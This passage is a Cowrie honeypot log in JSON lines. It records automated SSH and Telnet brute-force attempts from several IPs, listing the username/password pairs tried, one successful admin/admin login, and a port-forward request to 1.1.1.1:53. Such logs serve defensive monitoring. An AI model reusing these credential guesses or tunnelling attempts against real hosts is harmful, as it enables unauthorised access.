{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:50:44.735163Z","src_ip":"190.85.41.170","session":"5d56897e25a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:50:44.812876Z","src_ip":"190.85.41.170","session":"5d56897e25a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rk123456@","message":"login attempt [root/Rk123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:50:45.147947Z","src_ip":"190.85.41.170","session":"5d56897e25a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:50:46.224904Z","src_ip":"190.85.41.170","session":"5d56897e25a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":50348,"dst_ip":"159.203.135.109","dst_port":22,"session":"579eb622ffb6","protocol":"ssh","message":"New connection: 45.123.110.70:50348 (159.203.135.109:22) [session: 579eb622ffb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:51:49.984514Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:51:49.988630Z","src_ip":"45.123.110.70","session":"579eb622ffb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:51:50.226192Z","src_ip":"45.123.110.70","session":"579eb622ffb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:51:51.207785Z","src_ip":"45.123.110.70","session":"579eb622ffb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:51:52.445132Z","src_ip":"45.123.110.70","session":"579eb622ffb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":34448,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6866e4a8cf4","protocol":"ssh","message":"New connection: 190.85.41.170:34448 (159.203.135.109:22) [session: f6866e4a8cf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:52:01.899572Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:52:01.904362Z","src_ip":"190.85.41.170","session":"f6866e4a8cf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:52:01.981452Z","src_ip":"190.85.41.170","session":"f6866e4a8cf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rose","password":"rose","message":"login attempt [rose/rose] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:52:02.322833Z","src_ip":"190.85.41.170","session":"f6866e4a8cf4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:52:03.402276Z","src_ip":"190.85.41.170","session":"f6866e4a8cf4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.158.176.157","src_port":41966,"dst_ip":"159.203.135.109","dst_port":23,"session":"d46ff858006d","protocol":"telnet","message":"New connection: 109.158.176.157:41966 (159.203.135.109:23) [session: d46ff858006d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:52:06.775058Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":34228,"dst_ip":"159.203.135.109","dst_port":22,"session":"b257ef226707","protocol":"ssh","message":"New connection: 190.85.41.170:34228 (159.203.135.109:22) [session: b257ef226707]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:53:15.799114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:53:15.804461Z","src_ip":"190.85.41.170","session":"b257ef226707","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:53:15.879171Z","src_ip":"190.85.41.170","session":"b257ef226707","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Talent123","message":"login attempt [root/Talent123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:53:16.208028Z","src_ip":"190.85.41.170","session":"b257ef226707","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:53:17.286858Z","src_ip":"190.85.41.170","session":"b257ef226707","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":20674,"dst_ip":"159.203.135.109","dst_port":22,"session":"49212e8fd95b","protocol":"ssh","message":"New connection: 45.123.110.70:20674 (159.203.135.109:22) [session: 49212e8fd95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:53:24.628751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:53:24.633803Z","src_ip":"45.123.110.70","session":"49212e8fd95b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:53:24.868407Z","src_ip":"45.123.110.70","session":"49212e8fd95b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dell123","message":"login attempt [root/dell123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:53:25.835643Z","src_ip":"45.123.110.70","session":"49212e8fd95b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:53:27.077902Z","src_ip":"45.123.110.70","session":"49212e8fd95b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.65.120.60","src_port":63613,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e65adf1224b","protocol":"telnet","message":"New connection: 58.65.120.60:63613 (10.17.0.5:23) [session: 1e65adf1224b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:53:36.561589Z"}
{"eventid":"cowrie.session.connect","src_ip":"169.150.183.6","src_port":42052,"dst_ip":"159.203.135.109","dst_port":23,"session":"5cdaf469b88a","protocol":"telnet","message":"New connection: 169.150.183.6:42052 (159.203.135.109:23) [session: 5cdaf469b88a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:54:04.926708Z"}
{"eventid":"cowrie.session.closed","duration":120.00190424919128,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:54:06.776829Z","src_ip":"109.158.176.157","session":"d46ff858006d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.666978120803833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:54:07.228402Z","src_ip":"58.65.120.60","session":"1e65adf1224b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.282716512680054,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:54:18.209284Z","src_ip":"169.150.183.6","session":"5cdaf469b88a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12432,"dst_ip":"10.17.0.5","dst_port":22,"session":"883bdddbe246","protocol":"ssh","message":"New connection: 87.251.64.176:12432 (10.17.0.5:22) [session: 883bdddbe246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:54:24.278984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:54:24.290315Z","src_ip":"87.251.64.176","session":"883bdddbe246","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:54:24.377185Z","src_ip":"87.251.64.176","session":"883bdddbe246","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:54:24.777245Z","src_ip":"87.251.64.176","session":"883bdddbe246","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:54:24.877283Z","session":"883bdddbe246","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:54:24.978786Z","src_ip":"87.251.64.176","session":"883bdddbe246","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:54:25.105466Z","src_ip":"87.251.64.176","session":"883bdddbe246","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":48274,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a170f5ae3ed","protocol":"ssh","message":"New connection: 190.85.41.170:48274 (159.203.135.109:22) [session: 4a170f5ae3ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:54:38.292803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:54:38.297262Z","src_ip":"190.85.41.170","session":"4a170f5ae3ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:54:38.372102Z","src_ip":"190.85.41.170","session":"4a170f5ae3ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxxxxxxx","message":"login attempt [root/xxxxxxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:54:38.700848Z","src_ip":"190.85.41.170","session":"4a170f5ae3ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:54:39.781234Z","src_ip":"190.85.41.170","session":"4a170f5ae3ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.110.70","src_port":47504,"dst_ip":"159.203.135.109","dst_port":22,"session":"28987f7fbf46","protocol":"ssh","message":"New connection: 45.123.110.70:47504 (159.203.135.109:22) [session: 28987f7fbf46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:00.430880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T02:55:00.436915Z","src_ip":"45.123.110.70","session":"28987f7fbf46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 